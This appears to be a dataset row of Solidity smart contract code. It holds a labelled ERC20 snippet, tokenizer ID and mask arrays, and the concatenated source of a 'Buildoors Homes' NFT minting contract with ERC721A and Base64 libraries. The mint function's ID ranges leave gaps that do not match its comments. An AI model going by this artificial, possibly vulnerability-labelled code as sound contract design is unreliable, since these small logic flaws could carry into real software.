function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2324,
1025,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
1005,
5915,
24925,
2078,
1005,
19204,
3206,
1013,
1013,
1013,
1013,
7333,
2000,
1024,
1013,
1013,
6454,
1024,
16428,
2278,
1013,
1013,
2171,
1024,
2171,
1013,
1013,
2561,
4425,
1024,
11910,
8889,
8889,
8889,
1013,
1013,
26066,
2015,
1024,
2324,
1013,
1013,
1013,
1013,
5959,
1012,
1013,
1013,
1013,
1013,
1006,
1039,
1007,
2011,
28461,
5658,
2080,
2007,
8945,
19658,
22571,
9541,
24206,
1013,
8945,
2243,
10552,
13866,
2100,
5183,
8740,
2418,
1012,
1996,
10210,
11172,
1012,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
3647,
8785,
2015,
1013,
1013,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
1011,
3206,
3647,
18900,
2232,
1063,
3853,
3647,
4215,
2094,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
2270,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1007,
1025,
1065,
3853,
3647,
6342,
2497,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
2270,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1007,
1025,
1039,
1027,
1037,
1011,
1038,
1025,
1065,
3853,
3647,
12274,
2140,
1006,
21318,
3372,
1037,
1010,
21318,
3372,
1038,
1007,
2270,
5760,
5651,
1006,
21318,
3372,
1039,
1007,
1063,
1039,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import '@openzeppelin/contracts/access/Ownable.sol';
import './ERC721ABurnable.sol';
import './Base64.sol';
import "./IMaterialContract.sol";
contract BuildoorsHomes is Ownable, ERC721A, ERC721ABurnable {
using Strings for uint256;
uint256 newestHome;
string private imageTokenURI;
bool private unique;
bool public saleIsActive;
address materialsContract;
// Mapping for type of home
mapping(uint256 => string) private styleByHomeId;
constructor() ERC721A("Buildoors Homes", "HOME") {}
//
// FUNCTIONS FOR VALIDATING
//
// Dirt has token IDs 666-998
function dirtValidated(uint256 dirtId) internal view returns (bool) {
IMaterialContract iMaterial = IMaterialContract(materialsContract);
return((iMaterial.ownerOf(dirtId) == _msgSender()) && (dirtId > 665) && (dirtId < 999));
}
// Glue has token IDs 332-664
function glueValidated(uint256 glueId) internal view returns (bool) {
IMaterialContract iMaterial = IMaterialContract(materialsContract);
return((iMaterial.ownerOf(glueId) == _msgSender()) && (glueId > 331) && (glueId < 665));
}
// Style materials have token IDs 1-331, or 665, or 999
function styleValidated(uint256 styleId) internal view returns (bool) {
IMaterialContract iMaterial = IMaterialContract(materialsContract);
return((iMaterial.ownerOf(styleId) == _msgSender()) && ((styleId < 332) || (styleId == 665) || (styleId == 999)));
}
//
// FUNCTIONS FOR GETTING METADATA
//
function getStyleOfHomeId(uint256 homeId) public view returns (string memory) {
return styleByHomeId[homeId];
}
function getImageOfHomeId(uint256 homeId) public view returns (string memory) {
if(unique){
return string(abi.encodePacked(imageTokenURI, Strings.toString(homeId), ".png"));
} else {
return string(abi.encodePacked(imageTokenURI, styleByHomeId[homeId], ".png"));
}
}
function getYieldOfHomeId(uint256 homeId) public view returns (string memory) {
if(keccak256(bytes(styleByHomeId[homeId])) == keccak256(bytes("Straw"))){
return "Low";
} else if(keccak256(bytes(styleByHomeId[homeId])) == keccak256(bytes("Wood"))){
return "Medium";
} else if(keccak256(bytes(styleByHomeId[homeId])) == keccak256(bytes("Brick"))){
return "High";
} else {
return "Extreme";
}
}
function getStartTimestamp(uint256 homeId) public view returns (uint64) {
return _ownerships[homeId].startTimestamp;
}
//
// FUNCTION FOR MINTING
//
function mint(uint256 dirtId, uint256 glueId, uint256 styleId) external {
require(
saleIsActive,
"Building is not active"
);
require(
tx.origin == _msgSender(),
"Not allowing contracts"
);
require(
dirtValidated(dirtId),
"You do not have dirt"
);
require(
glueValidated(glueId),
"You do not have glue"
);
require(
styleValidated(styleId),
"You do not have gold, bricks, sticks, or straw"
);
IMaterialContract iMaterial = IMaterialContract(materialsContract);
iMaterial.burn(dirtId);
iMaterial.burn(glueId);
iMaterial.burn(styleId);
if(styleId > 5 && styleId < 189) {
// Straw has token IDs 6-188
_safeMint(_msgSender(), 1);
newestHome++;
styleByHomeId[newestHome] = "Straw";
} else if(styleId > 240 && styleId < 331) {
// Sticks has token IDs 241-330
_safeMint(_msgSender(), 1);
newestHome++;
styleByHomeId[newestHome] = "Wood";
} else if(styleId > 189 && styleId < 240) {
// Bricks has token IDs 190-239
_safeMint(_msgSender(), 1);
newestHome++;
styleByHomeId[newestHome] = "Brick";
} else {
// Gold has other token IDs
_safeMint(_msgSender(), 1);
newestHome++;
styleByHomeId[newestHome] = "Gold";
}
}
//
// FUNCTIONS FOR OVERRIDING
//
function tokenURI(uint256 tokenId) override public view returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory json = Base64.encode(bytes(string(abi.encodePacked(
'{"name": "Home #',
Strings.toString(tokenId),
'", "description": "A beautiful home created by a Buildoor.", "external_url": "https://www.buildoors.org", "image": "',
getImageOfHomeId(tokenId),
'", "attributes":[{"trait_type": "Style", "value": "',
getStyleOfHomeId(tokenId),
'"}, {"trait_type": "Yield", "value": "',
getYieldOfHomeId(tokenId),
'"}]}'
))));
json = string(abi.encodePacked('data:application/json;base64,', json));
return json;
}
function _startTokenId() internal pure override returns (uint256) {
return 1;
}
//
// FUNCTIONS FOR OWNER
//
function flipSaleState() external onlyOwner {
saleIsActive = !saleIsActive;
}
function flipUniqueState() external onlyOwner {
unique = !unique;
}
function setImageURI(string calldata imageURI) external onlyOwner {
imageTokenURI = imageURI;
}
function setMaterialsAddress(address contractAddress) external onlyOwner {
materialsContract = contractAddress;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
interface IMaterialContract {
function ownerOf(uint256 tokenId) external view returns (address);
function burn(uint256 tokenId) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import './ERC721A.sol';
import '@openzeppelin/contracts/utils/Context.sol';
/**
* @title ERC721A Burnable Token
* @dev ERC721A Token that can be irreversibly burned (destroyed).
*/
abstract contract ERC721ABurnable is Context, ERC721A {
/**
* @dev Burns `tokenId`. See {ERC721A-_burn}.
*
* Requirements:
*
* - The caller must own `tokenId` or be an approved operator.
*/
function burn(uint256 tokenId) public virtual {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
isApprovedForAll(prevOwnership.addr, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
_burn(tokenId);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import '@openzeppelin/contracts/token/ERC721/IERC721.sol';
import '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol';
import '@openzeppelin/contracts/utils/Address.sol';
import '@openzeppelin/contracts/utils/Context.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/utils/introspection/ERC165.sol';
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error BalanceQueryForZeroAddress();
error MintedQueryForZeroAddress();
error BurnedQueryForZeroAddress();
error AuxQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerIndexOutOfBounds();
error OwnerQueryForNonexistentToken();
error TokenIndexOutOfBounds();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
*
* Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
*
* Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
*/
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Compiler will pack this into a single 256bit word.
struct TokenOwnership {
// The address of the owner.
address addr;
// Keeps track of the start time of ownership with minimal overhead for tokenomics.
uint64 startTimestamp;
// Whether the token has been burned.
bool burned;
}
// Compiler will pack this into a single 256bit word.
struct AddressData {
// Realistically, 2**64-1 is more than enough.
uint64 balance;
// Keeps track of mint count with minimal overhead for tokenomics.
uint64 numberMinted;
// Keeps track of burn count with minimal overhead for tokenomics.
uint64 numberBurned;
// For miscellaneous variable(s) pertaining to the address
// (e.g. number of whitelist mint slots used).
// If there are multiple variables, please pack them into a uint64.
uint64 aux;
}
// The tokenId of the next token to be minted.
uint256 internal _currentIndex;
// The number of tokens burned.
uint256 internal _burnCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_currentIndex = _startTokenId();
}
/**
* To change the starting tokenId, please override this function.
*/
function _startTokenId() internal view virtual returns (uint256) {
return 0;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
* @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens.
*/
function totalSupply() public view returns (uint256) {
// Counter underflow is impossible as _burnCounter cannot be incremented
// more than _currentIndex - _startTokenId() times
unchecked {
return _currentIndex - _burnCounter - _startTokenId();
}
}
/**
* Returns the total amount of tokens minted in the contract.
*/
function _totalMinted() internal view returns (uint256) {
// Counter underflow is impossible as _currentIndex does not decrement,
// and it is initialized to _startTokenId()
unchecked {
return _currentIndex - _startTokenId();
}
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
if (owner == address(0)) revert BalanceQueryForZeroAddress();
return uint256(_addressData[owner].balance);
}
/**
* Returns the number of tokens minted by `owner`.
*/
function _numberMinted(address owner) internal view returns (uint256) {
if (owner == address(0)) revert MintedQueryForZeroAddress();
return uint256(_addressData[owner].numberMinted);
}
/**
* Returns the number of tokens burned by or on behalf of `owner`.
*/
function _numberBurned(address owner) internal view returns (uint256) {
if (owner == address(0)) revert BurnedQueryForZeroAddress();
return uint256(_addressData[owner].numberBurned);
}
/**
* Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
*/
function _getAux(address owner) internal view returns (uint64) {
if (owner == address(0)) revert AuxQueryForZeroAddress();
return _addressData[owner].aux;
}
/**
* Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
* If there are multiple variables, please pack them into a uint64.
*/
function _setAux(address owner, uint64 aux) internal {
if (owner == address(0)) revert AuxQueryForZeroAddress();
_addressData[owner].aux = aux;
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
uint256 curr = tokenId;
unchecked {
if (_startTokenId() <= curr && curr < _currentIndex) {
TokenOwnership memory ownership = _ownerships[curr];
if (!ownership.burned) {
if (ownership.addr != address(0)) {
return ownership;
}
// Invariant:
// There will always be an ownership that has an address and is not burned
// before an ownership that does not have an address and is not burned.
// Hence, curr will not underflow.
while (true) {
curr--;
ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
}
}
revert OwnerQueryForNonexistentToken();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
if (!_exists(tokenId)) revert URIQueryForNonexistentToken();
string memory baseURI = _baseURI();
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return '';
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
if (to == owner) revert ApprovalToCurrentOwner();
if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) {
revert ApprovalCallerNotOwnerNorApproved();
}
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
if (operator == _msgSender()) revert ApproveToCaller();
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
_transfer(from, to, tokenId);
if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _startTokenId() <= tokenId && tokenId < _currentIndex &&
!_ownerships[tokenId].burned;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1
// updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1
unchecked {
_addressData[to].balance += uint64(quantity);
_addressData[to].numberMinted += uint64(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
uint256 end = updatedIndex + quantity;
if (safe && to.isContract()) {
do {
emit Transfer(address(0), to, updatedIndex);
if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
} while (updatedIndex != end);
// Reentrancy protection
if (_currentIndex != startTokenId) revert();
} else {
do {
emit Transfer(address(0), to, updatedIndex++);
} while (updatedIndex != end);
}
_currentIndex = updatedIndex;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
isApprovedForAll(prevOwnership.addr, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
_beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[prevOwnership.addr].balance -= 1;
_addressData[prevOwnership.addr].numberBurned += 1;
// Keep track of who burned the token, and the timestamp of burning.
_ownerships[tokenId].addr = prevOwnership.addr;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
_ownerships[tokenId].burned = true;
// If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(prevOwnership.addr, address(0), tokenId);
_afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
// Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
unchecked {
_burnCounter++;
}
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkContractOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert TransferToNonERC721ReceiverImplementer();
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
* And also called before burning one token.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, `tokenId` will be burned by `from`.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
* transferred to `to`.
* - When `from` is zero, `tokenId` has been minted for `to`.
* - When `to` is zero, `tokenId` has been burned by `from`.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
library Base64 {
bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/// @notice Encodes some bytes to the base64 representation
function encode(bytes memory data) internal pure returns (string memory) {
uint256 len = data.length;
if (len == 0) return "";
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((len + 2) / 3);
// Add some extra buffer at the end
bytes memory result = new bytes(encodedLen + 32);
bytes memory table = TABLE;
assembly {
let tablePtr := add(table, 1)
let resultPtr := add(result, 32)
for {
let i := 0
} lt(i, len) {
} {
i := add(i, 3)
let input := and(mload(add(data, i)), 0xffffff)
let out := mload(add(tablePtr, and(shr(18, input), 0x3F)))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF))
out := shl(224, out)
mstore(resultPtr, out)
resultPtr := add(resultPtr, 4)
}
switch mod(len, 3)
case 1 {
mstore(sub(resultPtr, 2), shl(240, 0x3d3d))
}
case 2 {
mstore(sub(resultPtr, 1), shl(248, 0x3d))
}
mstore(result, encodedLen)
}
return string(result);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
